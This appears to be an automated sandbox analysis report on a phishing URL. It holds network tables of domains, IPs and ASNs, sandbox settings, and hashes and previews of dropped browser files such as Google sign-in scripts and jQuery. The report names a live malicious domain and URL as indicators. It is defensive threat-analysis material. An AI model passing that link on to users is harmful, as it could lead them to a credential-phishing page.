    NameIPActiveMaliciousAntivirus DetectionReputation
    a.nel.cloudflare.com
    35.190.80.1
    truefalse
      high
      j989ijgymvgswiqbqvjxbpupwxvroyivx1anrmfovavu6v71ppg.aterower.ru
      188.114.97.3
      truefalse
        unknown
        lgs.gngt.ru
        104.21.3.107
        truetrue
          unknown
          code.jquery.com
          151.101.2.137
          truefalse
            high
            www3.l.google.com
            142.250.184.238
            truefalse
              high
              play.google.com
              142.250.184.238
              truefalse
                high
                cdn.prod.website-files.com
                104.18.161.117
                truefalse
                  high
                  www.google.com
                  142.250.186.68
                  truefalse
                    high
                    accounts.youtube.com
                    unknown
                    unknownfalse
                      high
                      NameMaliciousAntivirus DetectionReputation
                      https://lgs.gngt.ru/d1MHvwa7NXCAlKk/true
                        unknown
                        • No. of IPs < 25%
                        • 25% < No. of IPs < 50%
                        • 50% < No. of IPs < 75%
                        • 75% < No. of IPs
                        IPDomainCountryFlagASNASN NameMalicious
                        142.250.186.68
                        www.google.comUnited States
                        15169GOOGLEUSfalse
                        142.250.185.99
                        unknownUnited States
                        15169GOOGLEUSfalse
                        1.1.1.1
                        unknownAustralia
                        13335CLOUDFLARENETUSfalse
                        142.250.186.174
                        unknownUnited States
                        15169GOOGLEUSfalse
                        173.194.76.84
                        unknownUnited States
                        15169GOOGLEUSfalse
                        104.18.161.117
                        cdn.prod.website-files.comUnited States
                        13335CLOUDFLARENETUSfalse
                        104.21.3.107
                        lgs.gngt.ruUnited States
                        13335CLOUDFLARENETUStrue
                        151.101.130.137
                        unknownUnited States
                        54113FASTLYUSfalse
                        151.101.2.137
                        code.jquery.comUnited States
                        54113FASTLYUSfalse
                        172.217.23.110
                        unknownUnited States
                        15169GOOGLEUSfalse
                        142.250.181.227
                        unknownUnited States
                        15169GOOGLEUSfalse
                        239.255.255.250
                        unknownReserved
                        unknownunknownfalse
                        188.114.97.3
                        j989ijgymvgswiqbqvjxbpupwxvroyivx1anrmfovavu6v71ppg.aterower.ruEuropean Union
                        13335CLOUDFLARENETUSfalse
                        142.250.185.131
                        unknownUnited States
                        15169GOOGLEUSfalse
                        172.217.18.106
                        unknownUnited States
                        15169GOOGLEUSfalse
                        35.190.80.1
                        a.nel.cloudflare.comUnited States
                        15169GOOGLEUSfalse
                        142.250.184.238
                        www3.l.google.comUnited States
                        15169GOOGLEUSfalse
                        172.217.16.196
                        unknownUnited States
                        15169GOOGLEUSfalse
                        142.250.74.195
                        unknownUnited States
                        15169GOOGLEUSfalse
                        142.250.184.234
                        unknownUnited States
                        15169GOOGLEUSfalse
                        172.217.16.131
                        unknownUnited States
                        15169GOOGLEUSfalse
                        IP
                        192.168.2.16
                        192.168.2.4
                        Joe Sandbox version:42.0.0 Malachite
                        Analysis ID:1590200
                        Start date and time:2025-01-13 18:21:18 +01:00
                        Joe Sandbox product:CloudBasic
                        Overall analysis duration:
                        Hypervisor based Inspection enabled:false
                        Report type:full
                        Cookbook file name:defaultwindowsinteractivecookbook.jbs
                        Sample URL:https://lgs.gngt.ru/d1MHvwa7NXCAlKk/
                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                        Number of analysed new started processes analysed:15
                        Number of new started drivers analysed:0
                        Number of existing processes analysed:0
                        Number of existing drivers analysed:0
                        Number of injected processes analysed:0
                        Technologies:
                        • EGA enabled
                        Analysis Mode:stream
                        Analysis stop reason:Timeout
                        Detection:MAL
                        Classification:mal76.phis.win@22/27@26/130
                        • Exclude process from analysis (whitelisted): svchost.exe
                        • Excluded IPs from analysis (whitelisted): 142.250.74.195, 172.217.23.110, 173.194.76.84, 172.217.18.14, 142.250.184.238
                        • Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
                        • Not all processes where analyzed, report is missing behavior information
                        • Report size getting too big, too many NtSetInformationFile calls found.
                        • VT rate limit hit for: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 16:21:48 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                        Category:dropped
                        Size (bytes):2673
                        Entropy (8bit):3.9852027696055625
                        Encrypted:false
                        SSDEEP:
                        MD5:1F2445043C204A3A494CBFC48E9F2D27
                        SHA1:C9A248C994702C68A5B47ED84753BD87F9A1E3A5
                        SHA-256:2929D46C2ED4E1763522F2B8033194BC825EC84CC47E3807B6DF1CC95D1B8C8C
                        SHA-512:4FABA2133D825F0DCC590AB850FF6010547A8FFE47071487DD002CEB8043469FC4701725756D999BDDC04ECD824A46F0ED0ABCD5405F17AB4873C79A93110541
                        Malicious:false
                        Reputation:unknown
                        Preview:L..................F.@.. ...$+.,....X....e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I-Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........2}.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 16:21:48 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                        Category:dropped
                        Size (bytes):2675
                        Entropy (8bit):4.002106012421749
                        Encrypted:false
                        SSDEEP:
                        MD5:CC81AE934D88117BADEF33CB06E3FA4F
                        SHA1:EBCE31767B799F459141FC71B62A5F7F2680CD04
                        SHA-256:097385A47809388C2EBB2C8AE6DDBD585CFC555AD5596F708FE32F69D409A22F
                        SHA-512:779FCB9821789440722E947ABDDA665FD693BEDD866EEFF5E66A21D09112CF667FB6585F834C62560D85849AF663B9E1863105102C8D9E04DCF17AD3C1200E9F
                        Malicious:false
                        Reputation:unknown
                        Preview:L..................F.@.. ...$+.,.....;...e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I-Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........2}.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                        Category:dropped
                        Size (bytes):2689
                        Entropy (8bit):4.01170114812007
                        Encrypted:false
                        SSDEEP:
                        MD5:F29ABACE45539B643A35BF5D8E89EA91
                        SHA1:AEDC329F6584B89FEEA0328F704F5830FB5EC823
                        SHA-256:EF8840A06F4E0EEA588E3BCF870DD1927E2CB62D16583BC4A8E3F6D7E545F2F2
                        SHA-512:77D18705EF90400CFC4AAEEE77BB5FD95DA8F41084D4F0DFDDC8FF29012D466D5828E4AF0B6D2714E1E9101E89E8761CBE672E708A04DF1F901776BAC165F794
                        Malicious:false
                        Reputation:unknown
                        Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I-Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........2}.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 16:21:48 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                        Category:dropped
                        Size (bytes):2677
                        Entropy (8bit):4.00062611947324
                        Encrypted:false
                        SSDEEP:
                        MD5:342731F5919789587566BB12A579A453
                        SHA1:A8C803008CE5F0AE103052804F85F57ACD8A22CE
                        SHA-256:ADF71AE57F361A903506E1D02A1B7B3137BC105C619F3D3BE12C7880E09FE658
                        SHA-512:143110B78AF98B6293295D78C54368C1FBCCE6EAD12FE76DE2EC0CC51E5F41B9A1E1BC26A81C8E2590DDE1E7A29FFAC92233CE7447F74193E8804AA4EA92E092
                        Malicious:false
                        Reputation:unknown
                        Preview:L..................F.@.. ...$+.,.........e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I-Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........2}.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 16:21:48 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                        Category:dropped
                        Size (bytes):2677
                        Entropy (8bit):3.9879185851612746
                        Encrypted:false
                        SSDEEP:
                        MD5:2A9C246366469E988369FFEF7769D222
                        SHA1:F3DE9A04E328D6DA5CBA6C77BCA86755F6EA95FE
                        SHA-256:85D23E2A49EEDD3DA29A8B3AE2B0F92517947E70A59A0DD624D3B0E2A1BC006E
                        SHA-512:9E3B2F394B9750FFEDBCEA60429318A6CABEC498F06305FA349542D5FCCAB46994F9D4641CF625AEE30EE23116DF4F9C9F57E7A77D8BFD12B65EFC0872C36E33
                        Malicious:false
                        Reputation:unknown
                        Preview:L..................F.@.. ...$+.,.....g...e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I-Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........2}.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 16:21:48 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                        Category:dropped
                        Size (bytes):2679
                        Entropy (8bit):3.9996266528104094
                        Encrypted:false
                        SSDEEP:
                        MD5:7470C64D5E3E68C811333F6CC22B6FA6
                        SHA1:5BFB0511E57A85B92A9D392A02CC47DA1559F907
                        SHA-256:9C560F06E7D310878673901CE4AC2C33F69A8BFAD2F4292C7FA6995EE2A47791
                        SHA-512:B8A104C59C2B5213723EB8BD122AD907887BE36BDB975509EFB917A26529A67193595C8AB9B675E55494352B08F8D1B7C188A5635864D603CDED4BCCB10DCFFF
                        Malicious:false
                        Reputation:unknown
                        Preview:L..................F.@.. ...$+.,.........e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I-Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........2}.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (533)
                        Category:dropped
                        Size (bytes):9198
                        Entropy (8bit):5.398112721724972
                        Encrypted:false
                        SSDEEP:
                        MD5:4B2A8559624000298005FB792F9E9360
                        SHA1:55B076201354C5EF45237D321A2EBF8AA260D6E9
                        SHA-256:638030C69AEE78854C0143E4950464346B66BF0D27A9F1BBFAF40AB0390EF218
                        SHA-512:1814DB1E57B516525168A27E57CA21EDF323965C9262F5A9E198E7408F46A287B36885928162605761A5B6CB3C4B429DEADE349C67304B522CDEB9CF647A45A4
                        Malicious:false
                        Reputation:unknown
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._.WOa=_.z("SD8Jgb",[]);._.HV=function(a,b){if(typeof b==="string")a.zc(b);else if(b instanceof _.Op&&b.ia&&b.ia===_.B)b=_.Za(b.ww()),a.empty().append(b);else if(b instanceof _.Va)b=_.Za(b),a.empty().append(b);else if(b instanceof Node)a.empty().append(b);else throw Error("qg");};_.IV=function(a){var b=_.tp(a,"[jsslot]");if(b.size()>0)return b;b=new _.rp([_.ul("span")]);_.up(b,"jsslot","");a.empty().append(b);return b};_.qTb=function(a){return a===null||typeof a==="string"&&_.aj(a)};._.k("SD8Jgb");._.NV=function(a){_.W.call(this,a.La);this.Xa=a.controller.Xa;this.Yc=a.controllers.Yc[0]||null;this.header=a.controller.header;this.nav=a.controller.nav;var b;(b=this.Aa().find("button:not([type])").el())==null||b.setAttribute("type","button")};_.J(_.NV,_.W);_.NV.Ca=function(){return{controller:{Xa:{jsname:"n7vHCb",ctor:_.Nv},header:{jsname:"tJHJj",ctor:_.Nv},nav:{jsname:"DH6Rkf",ct
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (65447)
                        Category:downloaded
                        Size (bytes):89501
                        Entropy (8bit):5.289893677458563
                        Encrypted:false
                        SSDEEP:
                        MD5:8FB8FEE4FCC3CC86FF6C724154C49C42
                        SHA1:B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
                        SHA-256:FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
                        SHA-512:F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
                        Malicious:false
                        Reputation:unknown
                        URL:https://code.jquery.com/jquery-3.6.0.min.js
                        Preview:/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (469)
                        Category:downloaded
                        Size (bytes):2028
                        Entropy (8bit):5.306253423005373
                        Encrypted:false
                        SSDEEP:
                        MD5:17D898BDDED0838E2FAFB91DC06BEC1C
                        SHA1:99919F30F71456FA2DEEC1F34F84843EA517482F
                        SHA-256:A244D72BF1FF5E751A7CC415DC36805B047B25A84D239D7DE46DC4E4A6ADBBAB
                        SHA-512:BF185886CCB46942014A8B2F1863A56D4E8251C3FA25191401A963B78FA0C6D2ECC4B0F862EE8C67A8B0FEFBB8E6121EEBBE67E05F98E6CDB11195C936657AF5
                        Malicious:false
                        Reputation:unknown
                        URL:"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.o-xrRUOsnJg.es5.O/ck=boq-identity.AccountsSignInUi.0kxUC5tMpvM.L.B1.O/am=iQ2mZPgGABD_cGlAN6BIIGQAAAAAAAAAAMAGAACwww/d=1/exm=A7fCU,CMcBD,E87wgc,EFQ78c,EN3i8d,Fndnac,IZT63,K0PMbc,K1ZKnb,KUM7Z,L9OGUe,LDQI,LEikZe,LvGhrf,MpJwZc,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,YHI3We,YTxL4,YgOFye,ZDZcre,ZZ4WUe,ZwDk9d,_b,_tp,aC1iue,b3kMqb,bTi8wc,byfTOb,cYShmd,cciGGe,f8Gu1e,hc6Ubd,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,n73qwf,oqkvIf,p3hmRc,pxq3x,q0xTif,qPYxq,qmdT9,rmumx,rv9FVb,sOXFj,siKnQd,soHxf,t2srLd,vHEMJe,vfuNJf,vjKJJ,w9hDv,ws9Tlc,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHWF9YibrbVxyqBWgCA7Xrwdn4pxw/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=iAskyc,ziXSP"
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._.k("iAskyc");._.LX=function(a){_.Ct.call(this);this.window=a.Ga.window.get();this.uc=a.Ga.uc};_.J(_.LX,_.Fu);_.LX.Ca=function(){return{Ga:{window:_.Ou,uc:_.$C}}};_.LX.prototype.wq=function(){};_.LX.prototype.addEncryptionRecoveryMethod=function(){};_.MX=function(a){return(a==null?void 0:a.pq)||function(){}};_.NX=function(a){return(a==null?void 0:a.I5)||function(){}};_.iXb=function(a){return(a==null?void 0:a.Vq)||function(){}};._.jXb=function(a){return new Map(Array.from(a,function(b){var c=_.n(b);b=c.next().value;c=c.next().value;return[b,c.map(function(d){return{epoch:d.epoch,key:new Uint8Array(d.key)}})]}))};_.kXb=function(a){setTimeout(function(){throw a;},0)};_.LX.prototype.dR=function(){return!0};_.OX=function(a,b,c,d){c=c===void 0?"":c;a=a.uc;var e=a.YQ,f=new _.SC;b=_.Nj(f,7,_.DWa,b==null?b:_.Tc(b));e.call(a,305,b,d,void 0,void 0,_.bWb(new _.RC,_.aWb(new _.iX,c)))};_.K
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (568)
                        Category:dropped
                        Size (bytes):778036
                        Entropy (8bit):5.791986961490468
                        Encrypted:false
                        SSDEEP:
                        MD5:E6E3D84559ED5167926D72D74FFC882C
                        SHA1:CE97CFEBCFE02FCF1F53818235394B57B38A9193
                        SHA-256:B0000F3A3C3845F1E50B109469E92A81F20FC87958DB53534EFBC51B934DFAD4
                        SHA-512:8368598978CF515686D45237162F7D63F7E0CA5831CCA7C57BF91A4C3E04EF1A4F4A7DCE0B9EB14F51DF04E6F9C706D6EC61AA62B81F020088EB0E0A1E65A560
                        Malicious:false
                        Reputation:unknown
                        Preview:"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi||{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a||[]};(0,_._F_toggles_initialize)([0x24a60d89, 0x1be1, 0x6970ff1, 0x12280dd0, 0x6420, 0x0, 0x2c000000, 0x2c000001, 0xc3, ]);./*.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/./*.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0.*/./*.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT.*/./*. SPDX-License-Identifier: Apache-2.0.*/./*. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0.*/.var baa,daa,Qa,Ua,gaa,iaa,jb,qaa,xaa,Ab,Jaa,Laa,Oaa,Mb,Paa,Sb,Ub,Vb,Qaa,Raa,Wb,Saa,Taa,Uaa,$b,Zaa,aba,hc,fba,hba,iba,qc,rc,mba,nba,pba,rba,sba,wba,zba,tba,yba,xba,vba,uba,Aba,Bba,Cba,Jba,Mba,Oba,Pba,Lba,Rba,Oc,Tba,Vba,aca,bca,cca,dca,eca,fca,Zba,$ba,lca,oca,qca,rca,sca,tca,wca,yca,xca,Aca,Cd,
                        Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                        File Type:ASCII text, with very long lines (1694)
                        Category:downloaded
                        Size (bytes):33478
                        Entropy (8bit):5.3880779097579365
                        Encrypted:false
                        SSDEEP:
                        MD5:32138EFBA0981F05C117F2DFB8728BAF
                        SHA1:C9D2ADC70E99B4601DF991C60096308463A803F5
                        SHA-256:8F8844CBEB7760AEE82E819DD5A396D4BAF49DC01B67FABD09E5D97AB1F5D67D
                        SHA-512:DDBB128C00958314AD02CFCF949A1801F91FC1C26181FCA8B37417E5ABE80359FD4A36A9A55731921C33D8BCC2ED7BEF3B67584F4C044526534F10EF03496FA6
                        Malicious:false
                        Reputation:unknown
                        URL:"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.o-xrRUOsnJg.es5.O/ck=boq-identity.AccountsSignInUi.0kxUC5tMpvM.L.B1.O/am=iQ2mZPgGABD_cGlAN6BIIGQAAAAAAAAAAMAGAACwww/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHWF9YibrbVxyqBWgCA7Xrwdn4pxw/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe"
